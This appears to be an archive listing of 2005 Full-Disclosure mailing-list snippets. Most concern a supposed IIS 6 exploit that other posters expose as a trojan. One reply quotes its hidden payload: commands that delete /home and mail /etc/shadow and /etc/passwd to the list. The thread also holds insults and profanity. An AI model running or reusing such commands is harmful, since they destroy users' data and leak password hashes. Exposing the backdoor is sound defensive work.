[Full-disclosure] SUSE Security Announcement: RealPlayer buffer overflow in RAM file handling (SUSE-SA:2005:026)

2005-04-20 Thread Marcus Meissner
-BEGIN PGP SIGNED MESSAGE- __ SUSE Security Announcement Package:RealPlayer Announcement-ID:SUSE-SA:2005:026 Date: Wed,

[Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit (was broken)

2005-04-20 Thread Day Jay
Sorry, the previous code was broken. This code should work... Happy Owning!! :) =SNIP /* Proof of concept code Please don't send us e-mails asking us how to hack because we will be forced to skullfsck you. DISCLAIMER: !!NOT RESPONSIBLE WITH YOUR USE OF THIS

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit (was broken)

2005-04-20 Thread dk
Day Jay wrote: Sorry, the previous code was broken. Definitely `borken'... I didn't even see one /etc/passwd file in here! Less obvious calls may catch more habitual FD code runners next time dude. [think: ret=(int *)ret+2;(*ret)=(int)shellcode;] ;-) -- dk

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit (was broken)

2005-04-20 Thread James Longstreet
Cute. shellcode = /bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe launcher = cat /etc/shadow |mail full-disclosure@lists.grok.org.uk netcat_shell = cat /etc/passwd |mail full-disclosure@lists.grok.org.uk On Wed, 20 Apr 2005, Day Jay wrote: Sorry, the previous code was broken. This code should

Re: [Full-disclosure] FW: Introducing a new generic approach to detecting SQL injection

2005-04-20 Thread Mohit Muthanna
As you know, blocking SQL injection with filters on characters is painful and not always successful. I got thinking about it and thought of an approach Painful? That's just an excuse for being lazy. (No offense intended.) Not always successful? ... I don't get this, why not? There are a

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit(was broken)

2005-04-20 Thread [EMAIL PROTECTED]
perfect asshole - class101 Jr. Researcher Hat-Squad.com - - Original Message - From: Day Jay [EMAIL PROTECTED] To: full-disclosure@lists.grok.org.uk Sent: Wednesday,

[Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit (was broken)

2005-04-20 Thread Day Jay
Dear DIk, You are thinking local buffer overflows with your think: ret=(int *)ret+2;(*ret)=(int)shellcode; Wow, I think I read smashing the stick for fun and profit a long time ago, but this is a remote root exploit, it's alittle different!! Damn newbie! I mean, how lame are you? --- dk

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow Exploit(was broken)

2005-04-20 Thread Day Jay
You are wrong again, it's Smashing the Stick you moron. Not smashing the stack. Ask anyone here! Man, you are such a newbie. Get a clue and stop trying to say the sweet code is a backdoor just because you don't know how to compile software properly. You're nothing but a newbie wanna be C

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer OverflowExploit(was broken)

2005-04-20 Thread Steve Friedl
On Wed, Apr 20, 2005 at 05:35:56PM -0700, Day Jay wrote: Get your wrap-around text fixed you fucking fed!! I'm fed up with you!! Jeezsus, expose yourself as such. hehehe dumfux I guess there's something to be said for moderated lists, eh? --- Stephen J Friedl | Security Consultant |

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer OverflowExploit(was broke

2005-04-20 Thread happy man
man, that code is crap!!! ive run that shit on all 6 of my boxes at home and it still no work. i'm gonna try it again when i get home and if it still no work, i am going to run some other 1337 hacker code so i can pwn.

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer OverflowExploit(was broken)

2005-04-20 Thread tuytumadre
On Wed, Apr 20, 2005 at 05:35:56PM -0700, Day Jay wrote: Get your wrap-around text fixed you fucking fed!! I'm fed up with you!! Jeezsus, expose yourself as such. hehehe dumfux I guess there's something to be said for moderated lists, eh? I don't think that FD is

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer OverflowExploit(was broken)

2005-04-20 Thread Steve Friedl
On Thu, Apr 21, 2005 at 01:24:27AM +, [EMAIL PROTECTED] wrote: I don't think that FD is moderated. I know it's not: there is something to be said for lists that *are* :-) Day Jay sounds like a real asshat, eh Steve? Yes, quite the asshat. Funny the first time, but not the 10th. How you

Re: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer OverflowExploit(was broken)

2005-04-20 Thread Valdis . Kletnieks
On Wed, 20 Apr 2005 17:35:56 PDT, Day Jay said: Get your wrap-around text fixed you fucking fed!! --- John McGuire [EMAIL PROTECTED] wrote: Yep, must be a fed. The 'leet black hats would be posting from @fbi.gov, and the not-so-leet ones would at least have the good taste to find a better ISP